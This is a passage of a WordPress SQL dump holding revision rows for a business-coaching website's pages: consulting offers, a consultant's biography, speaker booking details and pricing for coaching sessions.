creative entrepreneurs and solo professionals along their way to building a business that brings them joy, deep personal satisfaction and sustanable profit. Allow me to help you create the success you desire!\r\n\r\nMy clients want clarity to lock onto a big vision for their future, and the confidence to pursue the right action with passion and discipline. I can help you get “there” by keeping you in the right frame of mind to create and innovate the type of business that gives you far more energy than what it takes from you. I can help you build a foundation for your business success that brings you joy, freedom, fulfillment, deep satisfaction, and financial success!\r\n<h2><a title="Getting my business to the next level!" href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #ff6600;">Send me an email! </span></a></h2>\r\n<strong>Briefly outline your current business circumstances, and what your expectations are for a positive outcome from working together. From there, we can arrange a telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future. </strong><strong>On-site individual and team consulting in a one-day strategic workshop format are also available.</strong>\r\n<p style="color: #ff6600;"><strong><span style="color: #ff6600;">I am looking forward to working with you.</span></strong></p>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-08-04 11:05:22', '2013-08-04 18:05:22', '', 138, 'http://www.whitehotcenter.com/2013/08/138-revision-192/', 0, 'revision', '', 0),
(2373, 2, '2013-08-04 11:30:03', '2013-08-04 18:30:03', '', 'Thomson Dawson, Author and Speaker', 0, '', 'inherit', 'open', 'open', '', 'thomson-kendall-1', '', '', '2013-08-04 11:30:03', '2013-08-04 18:30:03', '', 143, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/thomson-kendall-1.jpg', 0, 'attachment', 'image/jpeg', 0),
(2374, 2, '2013-08-04 11:35:44', '2013-08-04 18:35:44', '', 'Thomson Dawson, Author and Speaker', 0, '', 'inherit', 'open', 'open', '', 'whc-thomson-5-6', '', '', '2013-08-04 11:35:44', '2013-08-04 18:35:44', '', 143, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/whc.thomson-51.jpg', 0, 'attachment', 'image/jpeg', 0),
(2375, 2, '2013-05-24 11:48:56', '2013-05-24 18:48:56', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact me in the orange grove:</strong></h2>\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3920 x2 office\r\n</strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I love to do:</span></strong></span></h1>\r\n<h2><span style="color: #000000;"><strong>Inspire, guide and create IDEAS to help creative entreprenuers and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</strong></span></h2>\r\n<h2>How can I help you get to the next level?</h2>\r\n<strong><span style="color: #000000;">\r\nAbout Thomson Dawson</span></strong>\r\n<strong>Business Development Consultant to Creative Entrepreneurs\r\nand Solo Professionals</strong>\r\n\r\n<span style="color: #808080;"><strong>Starting his own business as a solo freelancer after graduating from Kendall School of Design in Grand Rapids, Michigan, Thomson </strong><strong>has been a successful creative entrepreneur in the marketing, communications and graphic design business for 30 years.</strong>\r\n</span>\r\n\r\n<span style="color: #808080;"><strong>He was the Founder and Principal of the Dawson+Company Creative Group, a leading corporate communications and design agency. Dawson+Company Creative Group was internationally recognized for its award winning work in corporate identity development, brand development, naming, corporate communications, marketing communications, branded environment design, and retail packaging and merchandising. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Within the first five years, he had built and established his creative business into one of the most respected and highly esteemed creative firms in the Mid-West. Over the course of his business career he has sold in millions of dollars in creative services and billings.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. His clients have included Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Over the years, his work, and that of his firm, has been featured in all the leading trade publications, journals and award annuals for graphic design excellence</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Leveraging his significant business experience in the creative professions, Thomson founded the White Hot Center.com, an online resource of insight, inspiration, guidance, business development training and consulting for early stage creative entrepreneurs and solo professionals who seek more impact, influence and income in their creative business.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Through the WHC Quantum Leap Workshops, Thomson provides creative entrepreneurs and their teams with personal and professional development, marketing and business development education, training and consulting.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson is an avid writer, speaker and thought leader on branding, enterprise strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed Branding Strategy Insider blog, one of the 50 top branding blogs according to Advertising Age.</strong></span>\r\n\r\n<a title="Have Thomson speak at your event!" href="http://www.youtube.com/watch?v=ZhBhjF7ocW0&amp;feature=youtu.be" target="_blank"><img class="alignnone size-full wp-image-2304" title="Thomson Dawson, Author and Speaker" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-speaking-AIGA.jpg" alt="" width="495" height="270" /></a>\r\n\r\n<span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:\r\n<span style="color: #e47906;">Thomson is available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having Thomson on the bill at one of your events, just send an email with your specifics, we can go from there.</span></strong></span>', 'Get to know Thomson Dawson better.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2013-05-24 11:48:56', '2013-05-24 18:48:56', '', 143, 'http://www.whitehotcenter.com/2013/05/143-revision-54/', 0, 'revision', '', 0),
(2376, 2, '2013-08-04 12:02:10', '2013-08-04 19:02:10', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact me in the orange grove:</strong></h2>\r\n<strong>The White Hot Center\r\nInspired Success\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile\r\n</strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I love to do:</span></strong></span></h1>\r\n<h2><span style="color: #000000;"><strong>Inspire and guide entreprenuers and solo professionals to gain more clarity and confidence to create a better future with more impact, influence and income.</strong></span> How can I help you take your business to the next level?</h2>\r\n<h3><strong><span style="color: #000000;">About Thomson Dawson</span></strong>\r\n<strong>Business Development Consultant to  Entrepreneurs and Solo Professionals</strong></h3>\r\n<span style="color: #808080;"><strong>Thomson </strong><strong>has been a successful creative entrepreneur in the corporate and marketing communications business for nearly 30 years.</strong>\r\n</span>\r\n\r\n<span style="color: #808080;"><strong>In 1980, after graduation from Ferris University Kendall College of Design, Thomson was the Founder and Principal of the Dawson+Company Creative Group, a leading corporate communications and design agency headquartered in Grand Rapids, Michigan. Dawson+Company Creative Group was internationally recognized for its award winning work in corporate identity development, brand development, naming, corporate communications, marketing communications, branded environment design, and retail packaging and merchandising. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Within the first five years, he established his creative business into one of the most respected and highly resspected creative firms in the US. Over the course of his business career he has sold in millions of dollars in creative services and billings.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. His ccorporate clients have included Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online resource of insight, inspiration, guidance, business development training and consulting for early stage creative entrepreneurs and solo professionals who seek more impact, influence and income in their creative business.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Through the WHC Quantum Leap Workshops, Thomson provides creative entrepreneurs and their teams with personal and professional development, marketing and business development education, training and consulting.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed Branding Strategy Insider blog, one of the 50 top branding blogs according to Advertising Age.</strong></span>\r\n\r\n<img class="alignnone size-full wp-image-2373" title="Thomson Dawson, Author and Speaker" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-kendall-1.jpg" alt="" width="495" height="298" />\r\n\r\n<img class="alignnone size-full wp-image-2374" title="Thomson Dawson, Author and Speaker" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whc.thomson-51.jpg" alt="" width="495" height="252" />\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:</strong></span></h2>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;">Thomson provides inspirational talks centered on professional developmennt, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro-bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></span></h3>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h3>\r\n&nbsp;\r\n\r\n<span style="color: #000000;"><span style="color: #e47906;">\r\n</span></span>', 'Get to know Thomson Dawson.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2013-08-04 12:02:10', '2013-08-04 19:02:10', '', 143, 'http://www.whitehotcenter.com/2013/08/143-revision-55/', 0, 'revision', '', 0);
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(2377, 2, '2013-08-04 12:03:15', '2013-08-04 19:03:15', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact me in the orange grove:</strong></h2>\r\n<strong>The White Hot Center\r\nInspired Success\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile\r\n</strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I love to do:</span></strong></span></h1>\r\n<h2><span style="color: #000000;"><strong>Inspire and guide entreprenuers and solo professionals to gain more clarity and confidence to create a better future with more impact, influence and income.</strong></span> How can I help you take your business to the next level?</h2>\r\n<h3><span style="color: #000000;">About Thomson Dawson</span>\r\nBusiness Development Consultant to  Entrepreneurs and Solo Professionals</h3>\r\n<span style="color: #808080;"><strong>Thomson </strong><strong>has been a successful creative entrepreneur in the corporate and marketing communications business for nearly 30 years.</strong>\r\n</span>\r\n\r\n<span style="color: #808080;"><strong>In 1980, after graduation from Ferris University Kendall College of Design, Thomson was the Founder and Principal of the Dawson+Company Creative Group, a leading corporate communications and design agency headquartered in Grand Rapids, Michigan. Dawson+Company Creative Group was internationally recognized for its award winning work in corporate identity development, brand development, naming, corporate communications, marketing communications, branded environment design, and retail packaging and merchandising. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Within the first five years, he established his creative business into one of the most respected and highly resspected creative firms in the US. Over the course of his business career he has sold in millions of dollars in creative services and billings.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. His ccorporate clients have included Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online resource of insight, inspiration, guidance, business development training and consulting for early stage creative entrepreneurs and solo professionals who seek more impact, influence and income in their creative business.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Through the WHC Quantum Leap Workshops, Thomson provides creative entrepreneurs and their teams with personal and professional development, marketing and business development education, training and consulting.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed Branding Strategy Insider blog, one of the 50 top branding blogs according to Advertising Age.</strong></span>\r\n\r\n<img class="alignnone size-full wp-image-2373" title="Thomson Dawson, Author and Speaker" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-kendall-1.jpg" alt="" width="495" height="298" />\r\n\r\n<img class="alignnone size-full wp-image-2374" title="Thomson Dawson, Author and Speaker" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whc.thomson-51.jpg" alt="" width="495" height="252" />\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:</strong></span></h2>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;">Thomson provides inspirational talks centered on professional developmennt, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro-bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></span></h3>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h3>\r\n&nbsp;\r\n\r\n<span style="color: #000000;"><span style="color: #e47906;">\r\n</span></span>', 'Get to know Thomson Dawson.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2013-08-04 12:03:15', '2013-08-04 19:03:15', '', 143, 'http://www.whitehotcenter.com/2013/08/143-revision-56/', 0, 'revision', '', 0),
(2379, 2, '2013-08-04 12:13:21', '2013-08-04 19:13:21', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact me in the orange grove:</strong></h2>\r\n<strong>The White Hot Center\r\nInspired Success\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile\r\n</strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I love to do:</span></strong></span></h1>\r\n<h2><span style="color: #000000;"><strong>Inspire and guide entreprenuers and solo professionals to gain more clarity and confidence to create a better future with more impact, influence and income.</strong></span> How can I help you take your business to the next level?</h2>\r\n<h3><span style="color: #000000;">About Thomson Dawson</span>\r\nBusiness Development Consultant to Entrepreneurs and Solo Professionals</h3>\r\n<span style="color: #808080;"><strong>Thomson </strong><strong>has been a successful creative entrepreneur in the corporate and marketing communications business for nearly 30 years.</strong>\r\n</span>\r\n\r\n<span style="color: #808080;"><strong>In 1980, after graduation from Ferris University Kendall College of Design, Thomson was the Founder and Principal of the Dawson+Company Creative Group, a leading corporate communications and design agency headquartered in Grand Rapids, Michigan. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Dawson+Company Creative Group was internationally recognized for its award winning work in marketing communications, corporate identity development, brand development, naming, corporate communications, branded environment design, and retail packaging and merchandising. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career he has sold millions of dollars in creative service fee billings. Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>His ccorporate clients have included  Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online resource of insight, inspiration, guidance, business development training and consulting for early stage creative entrepreneurs and solo professionals who seek more impact, influence and income in their creative business.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Through the WHC Quantum Leap Workshops, Thomson provides creative entrepreneurs and their teams with personal and professional development, marketing and business development education, training and consulting.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed Branding Strategy Insider blog, one of the 50 top branding blogs according to Advertising Age.</strong></span>\r\n\r\n<img class="alignnone size-full wp-image-2373" title="Thomson Dawson, Author and Speaker" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-kendall-1.jpg" alt="" width="495" height="298" />\r\n\r\n<img class="alignnone size-full wp-image-2374" title="Thomson Dawson, Author and Speaker" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whc.thomson-51.jpg" alt="" width="495" height="252" />\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:</strong></span></h2>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;">Thomson provides inspirational talks centered on professional developmennt, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro-bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></span></h3>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h3>\r\n&nbsp;\r\n\r\n<span style="color: #000000;"><span style="color: #e47906;">\r\n</span></span>', 'Get to know Thomson Dawson.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2013-08-04 12:13:21', '2013-08-04 19:13:21', '', 143, 'http://www.whitehotcenter.com/2013/08/143-revision-58/', 0, 'revision', '', 0),
(2378, 2, '2013-08-04 12:06:32', '2013-08-04 19:06:32', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact me in the orange grove:</strong></h2>\r\n<strong>The White Hot Center\r\nInspired Success\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile\r\n</strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I love to do:</span></strong></span></h1>\r\n<h2><span style="color: #000000;"><strong>Inspire and guide entreprenuers and solo professionals to gain more clarity and confidence to create a better future with more impact, influence and income.</strong></span> How can I help you take your business to the next level?</h2>\r\n<h3><span style="color: #000000;">About Thomson Dawson</span>\r\nBusiness Development Consultant to Entrepreneurs and Solo Professionals</h3>\r\n<span style="color: #808080;"><strong>Thomson </strong><strong>has been a successful creative entrepreneur in the corporate and marketing communications business for nearly 30 years.</strong>\r\n</span>\r\n\r\n<span style="color: #808080;"><strong>In 1980, after graduation from Ferris University Kendall College of Design, Thomson was the Founder and Principal of the Dawson+Company Creative Group, a leading corporate communications and design agency headquartered in Grand Rapids, Michigan. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Dawson+Company Creative Group was internationally recognized for its award winning work in corporate identity development, brand development, naming, corporate communications, marketing communications, branded environment design, and retail packaging and merchandising. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Within the first five years, he established his creative business into one of the most respected and highly resspected creative firms in the US. Over the course of his business career he has sold in millions of dollars in creative services and billings.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. His ccorporate clients have included Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online resource of insight, inspiration, guidance, business development training and consulting for early stage creative entrepreneurs and solo professionals who seek more impact, influence and income in their creative business.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Through the WHC Quantum Leap Workshops, Thomson provides creative entrepreneurs and their teams with personal and professional development, marketing and business development education, training and consulting.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed Branding Strategy Insider blog, one of the 50 top branding blogs according to Advertising Age.</strong></span>\r\n\r\n<img class="alignnone size-full wp-image-2373" title="Thomson Dawson, Author and Speaker" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-kendall-1.jpg" alt="" width="495" height="298" />\r\n\r\n<img class="alignnone size-full wp-image-2374" title="Thomson Dawson, Author and Speaker" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whc.thomson-51.jpg" alt="" width="495" height="252" />\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:</strong></span></h2>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;">Thomson provides inspirational talks centered on professional developmennt, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro-bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></span></h3>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h3>\r\n&nbsp;\r\n\r\n<span style="color: #000000;"><span style="color: #e47906;">\r\n</span></span>', 'Get to know Thomson Dawson.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2013-08-04 12:06:32', '2013-08-04 19:06:32', '', 143, 'http://www.whitehotcenter.com/2013/08/143-revision-57/', 0, 'revision', '', 0),
(2380, 2, '2013-08-04 11:26:07', '2013-08-04 18:26:07', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2><strong style="color: #ff6600;">In one-on-one and group workshop settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong></h2>\r\n<strong>My clients are CEO''s and their teams in early stage and emerging companies across diverse product and professional service categories.</strong><strong> I offer issue-based consulting in professional development, brand marketing, communications and business development strategies to guide you and your team to focus on new ideas and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, marketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of forward thinking, early-stage creative entrepreneurs  who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\n<strong>This consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.</strong>\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  Many of my clients want to double or triple their ccurrent income. I''ll help you to kick up your game!  I''ll advise you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly with a 3-month minimum engagement\r\n</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-2301" title="Thomson Dawson, Business Transformation Consultant" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whc.thomson-5.jpg" alt="" width="495" height="306" /></strong></span><strong><img class="alignnone size-full wp-image-2366" title="Thomson &amp; Client" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonw.client.jpg" alt="" width="495" height="332" /></strong>\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the daily challenges and struggles with value creation, business development, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs and solo professionals along their way to building a business that brings them joy, deep personal satisfaction and sustanable profit. Allow me to help you create the success you desire!\r\n\r\nMy clients want clarity to lock onto a big vision for their future, and the confidence to pursue the right action with passion and discipline. I can help you get “there” by keeping you in the right frame of mind to create and innovate the type of business that gives you far more energy than what it takes from you. I can help you build a foundation for your business success that brings you joy, freedom, fulfillment, deep satisfaction, and financial success!\r\n<h2><a title="Getting my business to the next level!" href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #ff6600;">Send me an email! </span></a></h2>\r\n<strong>Briefly outline your current business circumstances, and what your expectations are for a positive outcome from working together. From there, we can arrange a telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future. </strong><strong>On-site individual and team consulting in a one-day strategic workshop format are also available.</strong>\r\n<p style="color: #ff6600;"><strong><span style="color: #ff6600;">I am looking forward to working with you.</span></strong></p>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-08-04 11:26:07', '2013-08-04 18:26:07', '', 138, 'http://www.whitehotcenter.com/2013/08/138-revision-193/', 0, 'revision', '', 0),
(2383, 2, '2013-08-04 12:37:32', '2013-08-04 19:37:32', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Intuitive, strategic and creative thinking for early stage entrepreneurs and solo professionals who seek inspiration, a gut check, solid insight, and world-class business development expertise on the fly and in real time!</span></h2>\r\n<h2>The 1on1 Power Session Jam is a business / life creative strategy burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues that are currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web site happening, and find better clients and customers. Whatever the issue, we’ll quickly get to work on helping you gain the clarity and confidence you need to increase your impact, influence and income.</h2>\r\n<h2>The Power Session is an intense, information rich, walk-on-fire brain charge designed to help you break free and get moving in the direction of your desire right from the git go!</h2>\r\n&nbsp;\r\n<h1><span style="color: #808080;">Here''s how it works:</span></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our session, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #808080;">Your investment:</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\nI offer an Immersion Jam of (6) Power Sessions (once weekly) to keep your momentum going– enabling you more opportunity to gain 